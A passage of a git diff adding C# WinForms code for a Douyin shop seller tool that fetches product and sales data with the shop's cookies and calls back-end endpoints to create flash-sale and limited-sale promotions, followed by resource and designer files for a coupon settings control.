GetProductSim(string listUrl, string referrerUrl, Dictionary headers, string firstPageData = "", string campaign_start_time = "", string campaign_end_time = "") + { + ShowVisitorMessage(""); + string salesUrl = listUrl; + foreach (DataGridViewRow r in this.dgvProduct.Rows) + { + Invoke(new Action(() => + { + r.Cells["colSales"].Value = "获取中"; + r.Cells["colStock"].Value = "获取中"; + r.Cells["colAllow"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + })); + } + foreach (var p in ProductList) + { + p.sell_num = null; + } + + bool isGetSalesOver = false; + + Task t1 = Task.Run(() => + { + int totalT1 = -1; + int numberT1 = 0; + string resultT1 = ""; + if (!string.IsNullOrEmpty(firstPageData)) + resultT1 = firstPageData; + + ShowVisitorMessage("正在准备获取商品销量"); + // 获取有销量的商品 + for (int i = 0; i < 10000; i++) + { + numberT1 += 20; + for (int j = 0; j < 3 && !resultT1.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + var cookie = shop.Cookies; + + ShowVisitorMessage("商品销量获取中,第 " + (i + 1) + " 页"); + var rUrl = salesUrl.Replace("page=0", "page=" + i).Replace("&pay_type=", "&pay_type=&sell_num_min=1"); // 获取所有有销量的商品,Replace不可注释!! + resultT1 = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(250, 750)); + Thread.Sleep(Randomx.GetId(250, 750)); + } + } + + if (resultT1.Contains("\"st\":0") && !SeckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetSalesSuccess = true; + + if (totalT1 == -1) + { + totalT1 = BaseRegex.GetIntJson(ref resultT1, "total"); + } + var jObj = JObject.Parse(resultT1); + var jArr = jObj["data"] as JArray; + foreach (var productObj in jArr) + { + //DouProductWithSalesListInfo product = new DouProductWithSalesListInfo(); + var prod = JsonHelper.SerializeObject(productObj); + //product.product_id = BaseRegex.GetLongJson(ref prod, "product_id"); + //product.sell_num = BaseRegex.GetIntJson(ref prod, "sell_num"); + //product.stock_num = BaseRegex.GetIntJson(ref prod, "stock_num"); + //product.name = BaseRegex.GetStringJson(ref prod, "name"); + //product.discount_price = BaseRegex.GetDecimalJson(ref prod, "discount_price") / 100; + //product.create_time_str = BaseRegex.GetStringJson(ref prod, "create_time"); + //product.create_time = BaseClass.DateTimeToTimestampSeconds(product.create_time_str.ParseToDateTime()); + //Invoke(new Action(() => + //{ + // this.dgvProduct.Rows.Add(false, product.product_id, product.name, product.stock_num, product.sell_num, product.discount_price, product.create_time_str); + //})); + + var product_id = BaseRegex.GetLongJson(ref prod, "product_id"); + var sell_num = BaseRegex.GetIntJson(ref prod, "sell_num"); + this.dicProductSales[product_id] = sell_num; + } + Thread.Sleep(Randomx.GetId(250, 750)); + Thread.Sleep(Randomx.GetId(250, 750)); + resultT1 = ""; + } + else + { + isGetSalesSuccess = false; + ShowVisitorMessage("获取商品销量失败"); + isGetSalesOver = true; + break; + } + + if (numberT1 >= totalT1) + { + ShowVisitorMessage("获取商品销量完成"); + isGetSalesOver = true; + + // 填写商品销量 + foreach (var product in this.ProductList) + { + if (dicProductSales.ContainsKey(product.product_id.ParseToLong())) + product.sell_num = dicProductSales[product.product_id.ParseToLong()]; + else if (isGetSalesSuccess) + product.sell_num = 0; + else + product.sell_num = -1; + + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == product.product_id); + if (row != null && row.Cells["colSales"].Value.ToString() == "获取中") + { + if (product.sell_num >= 0) + row.Cells["colSales"].Value = product.sell_num; + if (product.sell_num >= 0) + row.Cells["colSales"].Value = product.sell_num; + } + } + + break; + } + } + }); + + var total = -1; + var number = 0; + var result = ""; + referrerUrl = "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new"; + DateTime date = DateTime.Now.Date; + if (string.IsNullOrEmpty(campaign_start_time)) + campaign_start_time = date.ToString("yyyy-MM-dd") + "+00:00:00"; + if (string.IsNullOrEmpty(campaign_end_time)) + campaign_end_time = date.ToString("yyyy-MM-dd") + "+23:59:59"; + _timeSpan = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_timeSpan)) + _timeSpan = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)"); + if (string.IsNullOrEmpty(_timeSpan)) + _timeSpan = BaseClass.DateTimeToTimestampMilliseconds(DateTime.Now).ToString(); + _signature = BaseRegex.GetMatchRegexString(ref listUrl, "&_signature=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_signature)) + { + var listUrl2 = listUrl + "&"; + _signature = BaseRegex.GetMatchRegexString(ref listUrl2, "&_signature=([\\s\\S]+?)&"); + } + // 查询单件商品 + // https://fxg.jinritemai.com/byteshop/promotion/queryAvailableGoods?name=3550481296776157865&page=1&pageSize=15&campaign_start_time=2022-07-12+13:53:58&campaign_end_time=2022-07-13+13:53:58&stype=7&_bid=ecom_market_shop&appid=1&_=1657605277264&_signature=_02B4Z6wo00901vPj2jgAAIDAgf3-u.2wcb7z596AAN5DTpZAb6P6BWjbWf6p.E8w0icSl9d8vqMw9VdyRVtMyHUP25-fyQJA9.JSE1OQhQnubxfnISMkVfqQ0u80uuh3ezzpRpzTvt0UVyVyfa + // 查询列表 + listUrl = "https://fxg.jinritemai.com/byteshop/promotion/queryAvailableGoods?name=&page=0&pageSize=15&campaign_start_time=" + campaign_start_time + + "&campaign_end_time=" + campaign_end_time + "&stype=7&_bid=ecom_market_shop&appid=1" + + "&_=" + _timeSpan + "&_signature=" + _signature; + int num = 9999; + // 是否获取指定商品 + bool getWithName = false; + if (SeckillingAndLimitedSalesForm.LstSearthProductId.Count > 0 && !string.IsNullOrEmpty(SeckillingAndLimitedSalesForm.LstSearthProductId[0])) + { + num = SeckillingAndLimitedSalesForm.LstSearthProductId.Count; + getWithName = true; + } + for (int i = 1; i <= num; i++) + { + result = ""; + number += 15; + // {\"st\":0,\"msg\":\"账号未登录\",\"code\":10008,\"data\":{},\"page\":0,\"size\":0,\"total\":0} + for (int j = 0; j < 3 && !result.Contains("\"st\":0") || result.Contains("\"msg\":\"账号未登录\""); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + var cookie = shop.Cookies; + + var rUrl = ""; + //int pageSize = 15; + //if (number > 10000) + //{ + // pageSize = 15 - (number - 10000); + // if (pageSize < 0) + // pageSize = 0; + // rUrl = rUrl.Replace("pageSize=15", "pageSize=" + pageSize); + //} + // 获取列表商品 + if (!getWithName) + { + rUrl = listUrl.Replace("page=0", "page=" + i); + } + // 获取指定商品 + else + { + rUrl = listUrl.Replace("page=0", "page=1").Replace("name=&", "name=" + SeckillingAndLimitedSalesForm.LstSearthProductId[i - 1] + "&"); + } + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (result.Contains("账号未登录")) + { + } + if (j > 0) + { + Thread.Sleep(Randomx.GetId(200, 500)); + } + } + + if (!result.Contains("\"st\":0")) + { + } + + if (result.Contains("\"st\":0") && !SeckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetProductSuccess = true; + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + + int totalPage = Math.Ceiling(total / 15M).ParseToInt(); + string message = ""; + if (!getWithName) + message = "正在获取商品第" + i + "页,共" + totalPage + "页"; + else + message = "正在获取商品第" + i + "条,共" + num + "条"; + + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Value = i; + if (!getWithName) + { + this.statusBar.pgbTaskProgress.Text = i + "/" + totalPage; + this.statusBar.pgbTaskProgress.Maximum = totalPage; + } + else + { + this.statusBar.pgbTaskProgress.Text = i + "/" + num; + this.statusBar.pgbTaskProgress.Maximum = num; + } + })); + + try + { + var jObj = JObject.Parse(result); + var pList = JsonHelper.DeserializeJsonToList(jObj["data"]?.ToString()); + + foreach (var product in pList) + { + if (product.allow == false && product.reject_msg == "不可售卖商品") + { + continue; + } + if (dicProductSales.ContainsKey(product.product_id.ParseToLong())) + product.sell_num = dicProductSales[product.product_id.ParseToLong()]; + else if (isGetSalesOver && isGetSalesSuccess) + product.sell_num = 0; + else if (isGetSalesOver) + product.sell_num = -1; + + if (this.ProductList.Any(p => p.product_id == product.product_id)) + this.ProductList.RemoveAll(p => p.product_id == product.product_id); + this.ProductList.Add(product); + + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == product.product_id); + Invoke(new Action(() => + { + if (row != null) + { + dgvProduct.Rows.Remove(row); + } + var priceText = product.min_price / 100M + " - " + product.max_price / 100M; + object sellNum = "获取中"; + if (product.sell_num != null && product.sell_num != -1) + sellNum = product.sell_num; + else if (product.sell_num == -1) + sellNum = "获取失败"; + var rejectMsg = "可用"; + if (product.allow == false) + rejectMsg = product.reject_msg; + DataGridViewRow r = new DataGridViewRow(); + r.Cells.Add(new DataGridViewCheckBoxCell() { Value = false, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = product.product_id, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = product.name, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = product.stock_num, }); // 库存 + r.Cells.Add(new DataGridViewTextBoxCell() { Value = sellNum, }); // 销量 + r.Cells.Add(new DataGridViewTextBoxCell() { Value = priceText, }); // 价格区间 + r.Cells.Add(new DataGridViewTextBoxCell() { Value = "", }); // 创建时间 + r.Cells.Add(new DataGridViewTextBoxCell() { Value = rejectMsg }); + this.dgvProduct.Rows.Add(r); + if (product.allow == false) + { + r.Cells["colSelect"].ReadOnly = true; + r.Cells["colAllow"].Style.ForeColor = Color.Red; + } + else + { + r.Cells["colSelect"].ReadOnly = false; + r.Cells["colAllow"].Style.ForeColor = Color.Green; + } + })); + } + Thread.Sleep(Randomx.GetId(100, 250)); + } + catch (Exception ex) + { + isGetProductSuccess = false; + break; + } + } + else + { + isGetProductSuccess = false; + break; + } + + // 列表获取超过最大数值后跳出 + if (!getWithName && number >= total) + break; + } + + t1.Wait(); + + // 最后填写商品销量 + foreach (var product in this.ProductList) + { + if (dicProductSales.ContainsKey(product.product_id.ParseToLong())) + product.sell_num = dicProductSales[product.product_id.ParseToLong()]; + else if (isGetSalesSuccess) + product.sell_num = 0; + else + product.sell_num = -1; + + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == product.product_id); + if (row != null && row.Cells["colSales"].Value.ToString() == "获取中") + { + if (product.sell_num >= 0) + row.Cells["colSales"].Value = product.sell_num; + if (product.sell_num >= 0) + row.Cells["colSales"].Value = product.sell_num; + } + } + + Invoke(new Action(() => + { + if (SeckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else if (!isGetSalesSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取完成,但获取销量信息失败"; + } + else if (!isGetProductSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取商品信息失败"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + ShowVisitorMessage(""); + //this.statusBar.pgbTaskProgress.Value = 0; + //this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + //this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + public void GetProduct() + { + if (shop == null) + return; + + ShowVisitorMessage(""); + foreach (DataGridViewRow r in this.dgvProduct.Rows) + { + r.Cells["colSales"].Value = "获取中"; + r.Cells["colStock"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + } + foreach (var p in ProductList) + { + p.sell_num = null; + } + + List tList = new List(); + + var t2 = Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + SeckillingAndLimitedSalesForm.GetProductByCef(this.shop); + + var rowsTemp = dgvProduct.Rows.Cast().ToList(); + rowsTemp.Reverse(); + foreach (var r in rowsTemp) + { + try + { + //if (r.Cells["colPrice"].Value.ParseToDecimal() < priceMin || r.Cells["colPrice"].Value.ParseToDecimal() > priceMax + // || r.Cells["colSales"].Value.ParseToDecimal() < salesMin || r.Cells["colSales"].Value.ParseToDecimal() > salesMax + // || (productName?.Count > 0 && !productName.Any(n => r.Cells["colProductName"].Value.ToString().Contains(n)))) + //{ + // Invoke(new Action(() => + // { + // dgvProduct.Rows.Remove(r); + // })); + //} + } + catch (Exception ex) + { + } + } + }); + tList.Add(t2); + t2.Wait(); + } + //根据id获取sku + public string GetSkusByProductIds(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/batchGetSkuByProductIds?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + + public string checkFlashAndGoods(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"; + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/checkFlashAndGoods?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + + public string createFlashAndGoods(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"; + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/createFlashAndGoods?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + + public void ShowVisitorMessage(string msg, string ids = "", bool onlyShowInGrid = false) + { + Invoke(new Action(() => + { + + this.label1.Text = msg; + if (!string.IsNullOrEmpty(ids)) + { + var idList = ids.Split(new string[] { "\",\"", "\"" }, StringSplitOptions.RemoveEmptyEntries); + var rows = this.dgvProduct.Rows.Cast().Where(r => idList.Contains(r.Cells["colProductId"].Value?.ToString())); + foreach (var row in rows) + { + row.Cells["colMessage"].Value = msg; + } + } + })); + } + + public void ClearData() + { + this.ProductList.Clear(); + this.dicProductSales.Clear(); + this.dgvProduct.Rows.Clear(); + } + //选择参与活动的商品 + private void dgvProduct_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvProduct.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvProduct.Columns[e.ColumnIndex].Name; + long ProductId = dgvProduct.Rows[e.RowIndex].Cells["colProductId"].Value.ParseToLong(); + var row = dgvProduct.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + break; + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.resx new file mode 100644 index 0000000..584a64e --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.resx @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.Designer.cs new file mode 100644 index 0000000..9c761bf --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.Designer.cs @@ -0,0 +1,528 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class UcCouponAddParam + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.cmbUserCountLimited = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cbi1 = new DevComponents.Editors.ComboItem(); + this.nudDays = new System.Windows.Forms.NumericUpDown(); + this.nudTotalCount = new System.Windows.Forms.NumericUpDown(); + this.label15 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.cmbType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.商品折扣券 = new DevComponents.Editors.ComboItem(); + this.label9 = new System.Windows.Forms.Label(); + this.rbNotReckonIn = new System.Windows.Forms.RadioButton(); + this.rbReckonIn = new System.Windows.Forms.RadioButton(); + this.label8 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.dtpEndApplyTime = new System.Windows.Forms.DateTimePicker(); + this.dtpStartApplyTime = new System.Windows.Forms.DateTimePicker(); + this.label4 = new System.Windows.Forms.Label(); + this.lblClose = new System.Windows.Forms.Label(); + this.line1 = new DevComponents.DotNetBar.Controls.Line(); + this.lblMsg = new System.Windows.Forms.Label(); + this.txtName = new System.Windows.Forms.TextBox(); + this.pnlTimePeriod = new System.Windows.Forms.Panel(); + this.dtpStartUseTime = new System.Windows.Forms.DateTimePicker(); + this.dtpEndUseTime = new System.Windows.Forms.DateTimePicker(); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.nudThresHold = new System.Windows.Forms.NumericUpDown(); + this.lblThresHold = new System.Windows.Forms.Label(); + this.nudCredit = new System.Windows.Forms.NumericUpDown(); + this.lblCreditText = new System.Windows.Forms.Label(); + this.lblDiscountText = new System.Windows.Forms.Label(); + this.商品直减券 = new DevComponents.Editors.ComboItem(); + this.商品满减券 = new DevComponents.Editors.ComboItem(); + ((System.ComponentModel.ISupportInitialize)(this.nudDays)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudTotalCount)).BeginInit(); + this.pnlTimePeriod.SuspendLayout(); + this.flowLayoutPanel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudThresHold)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudCredit)).BeginInit(); + this.SuspendLayout(); + // + // cmbUserCountLimited + // + this.cmbUserCountLimited.DisplayMember = "Text"; + this.cmbUserCountLimited.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbUserCountLimited.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbUserCountLimited.FormattingEnabled = true; + this.cmbUserCountLimited.ItemHeight = 18; + this.cmbUserCountLimited.Items.AddRange(new object[] { + this.cbi1}); + this.cmbUserCountLimited.Location = new System.Drawing.Point(1050, 7); + this.cmbUserCountLimited.Name = "cmbUserCountLimited"; + this.cmbUserCountLimited.Size = new System.Drawing.Size(60, 24); + this.cmbUserCountLimited.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbUserCountLimited.TabIndex = 554; + // + // cbi1 + // + this.cbi1.Text = "1张"; + this.cbi1.Value = "5分钟"; + // + // nudDays + // + this.nudDays.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudDays.Location = new System.Drawing.Point(446, 8); + this.nudDays.Name = "nudDays"; + this.nudDays.Size = new System.Drawing.Size(86, 23); + this.nudDays.TabIndex = 553; + this.nudDays.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // nudTotalCount + // + this.nudTotalCount.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudTotalCount.Location = new System.Drawing.Point(983, 8); + this.nudTotalCount.Name = "nudTotalCount"; + this.nudTotalCount.Size = new System.Drawing.Size(40, 23); + this.nudTotalCount.TabIndex = 552; + this.nudTotalCount.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(1025, 11); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(20, 17); + this.label15.TabIndex = 549; + this.label15.Text = "张"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(1048, -2); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(56, 17); + this.label13.TabIndex = 548; + this.label13.Text = "每人限领"; + this.label13.Visible = false; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(981, -2); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(44, 17); + this.label11.TabIndex = 547; + this.label11.Text = "发放量"; + this.label11.Visible = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(838, -2); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(32, 17); + this.label10.TabIndex = 546; + this.label10.Text = "折扣"; + this.label10.Visible = false; + // + // cmbType + // + this.cmbType.DisplayMember = "Text"; + this.cmbType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbType.FormattingEnabled = true; + this.cmbType.ItemHeight = 18; + this.cmbType.Items.AddRange(new object[] { + this.商品折扣券, + this.商品直减券, + this.商品满减券}); + this.cmbType.Location = new System.Drawing.Point(741, 7); + this.cmbType.Name = "cmbType"; + this.cmbType.Size = new System.Drawing.Size(90, 24); + this.cmbType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbType.TabIndex = 545; + this.cmbType.SelectedIndexChanged += new System.EventHandler(this.cmbType_SelectedIndexChanged); + // + // 商品折扣券 + // + this.商品折扣券.Text = "商品折扣券"; + this.商品折扣券.Value = "5分钟"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(738, -2); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(56, 17); + this.label9.TabIndex = 544; + this.label9.Text = "优惠内容"; + this.label9.Visible = false; + // + // rbNotReckonIn + // + this.rbNotReckonIn.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.rbNotReckonIn.Location = new System.Drawing.Point(677, 8); + this.rbNotReckonIn.Name = "rbNotReckonIn"; + this.rbNotReckonIn.Size = new System.Drawing.Size(60, 22); + this.rbNotReckonIn.TabIndex = 466; + this.rbNotReckonIn.Text = "不计入"; + this.rbNotReckonIn.UseVisualStyleBackColor = true; + // + // rbReckonIn + // + this.rbReckonIn.Checked = true; + this.rbReckonIn.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.rbReckonIn.Location = new System.Drawing.Point(632, 8); + this.rbReckonIn.Name = "rbReckonIn"; + this.rbReckonIn.Size = new System.Drawing.Size(50, 22); + this.rbReckonIn.TabIndex = 465; + this.rbReckonIn.TabStop = true; + this.rbReckonIn.Text = "计入"; + this.rbReckonIn.UseVisualStyleBackColor = true; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(629, -2); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(80, 17); + this.label8.TabIndex = 542; + this.label8.Text = "价格风险预警"; + this.label8.Visible = false; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(531, 11); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(68, 17); + this.label7.TabIndex = 541; + this.label7.Text = "天内可使用"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(281, -2); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(56, 17); + this.label6.TabIndex = 540; + this.label6.Text = "领取结束"; + this.label6.Visible = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(445, -2); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 539; + this.label5.Text = "日期范围"; + this.label5.Visible = false; + // + // dtpEndApplyTime + // + this.dtpEndApplyTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpEndApplyTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpEndApplyTime.Location = new System.Drawing.Point(283, 8); + this.dtpEndApplyTime.Name = "dtpEndApplyTime"; + this.dtpEndApplyTime.Size = new System.Drawing.Size(155, 23); + this.dtpEndApplyTime.TabIndex = 538; + // + // dtpStartApplyTime + // + this.dtpStartApplyTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpStartApplyTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpStartApplyTime.Location = new System.Drawing.Point(119, 8); + this.dtpStartApplyTime.Name = "dtpStartApplyTime"; + this.dtpStartApplyTime.Size = new System.Drawing.Size(155, 23); + this.dtpStartApplyTime.TabIndex = 537; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(117, -2); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 536; + this.label4.Text = "领取开始"; + this.label4.Visible = false; + // + // lblClose + // + this.lblClose.AutoSize = true; + this.lblClose.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblClose.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblClose.ForeColor = System.Drawing.Color.RoyalBlue; + this.lblClose.Location = new System.Drawing.Point(7, 12); + this.lblClose.Name = "lblClose"; + this.lblClose.Size = new System.Drawing.Size(16, 16); + this.lblClose.TabIndex = 555; + this.lblClose.Text = "X"; + this.lblClose.Click += new System.EventHandler(this.lblClose_Click); + // + // line1 + // + this.line1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.line1.ForeColor = System.Drawing.Color.LightGray; + this.line1.Location = new System.Drawing.Point(0, 38); + this.line1.Name = "line1"; + this.line1.Size = new System.Drawing.Size(1180, 2); + this.line1.TabIndex = 556; + this.line1.Text = "line1"; + // + // lblMsg + // + this.lblMsg.AutoSize = true; + this.lblMsg.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.lblMsg.Location = new System.Drawing.Point(1118, 11); + this.lblMsg.Name = "lblMsg"; + this.lblMsg.Size = new System.Drawing.Size(44, 17); + this.lblMsg.TabIndex = 557; + this.lblMsg.Text = "待设置"; + // + // txtName + // + this.txtName.Location = new System.Drawing.Point(25, 8); + this.txtName.Name = "txtName"; + this.txtName.Size = new System.Drawing.Size(85, 23); + this.txtName.TabIndex = 558; + this.txtName.Text = "新人券1"; + // + // pnlTimePeriod + // + this.pnlTimePeriod.Controls.Add(this.dtpStartUseTime); + this.pnlTimePeriod.Controls.Add(this.dtpEndUseTime); + this.pnlTimePeriod.Location = new System.Drawing.Point(446, 7); + this.pnlTimePeriod.Name = "pnlTimePeriod"; + this.pnlTimePeriod.Size = new System.Drawing.Size(174, 25); + this.pnlTimePeriod.TabIndex = 559; + // + // dtpStartUseTime + // + this.dtpStartUseTime.CustomFormat = "yyyy\'/\'MM\'/\'dd"; + this.dtpStartUseTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpStartUseTime.Location = new System.Drawing.Point(0, 1); + this.dtpStartUseTime.Name = "dtpStartUseTime"; + this.dtpStartUseTime.Size = new System.Drawing.Size(86, 23); + this.dtpStartUseTime.TabIndex = 544; + // + // dtpEndUseTime + // + this.dtpEndUseTime.CustomFormat = "yyyy\'/\'MM\'/\'dd"; + this.dtpEndUseTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpEndUseTime.Location = new System.Drawing.Point(88, 1); + this.dtpEndUseTime.Name = "dtpEndUseTime"; + this.dtpEndUseTime.Size = new System.Drawing.Size(86, 23); + this.dtpEndUseTime.TabIndex = 551; + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.Controls.Add(this.lblDiscountText); + this.flowLayoutPanel1.Controls.Add(this.nudThresHold); + this.flowLayoutPanel1.Controls.Add(this.lblThresHold); + 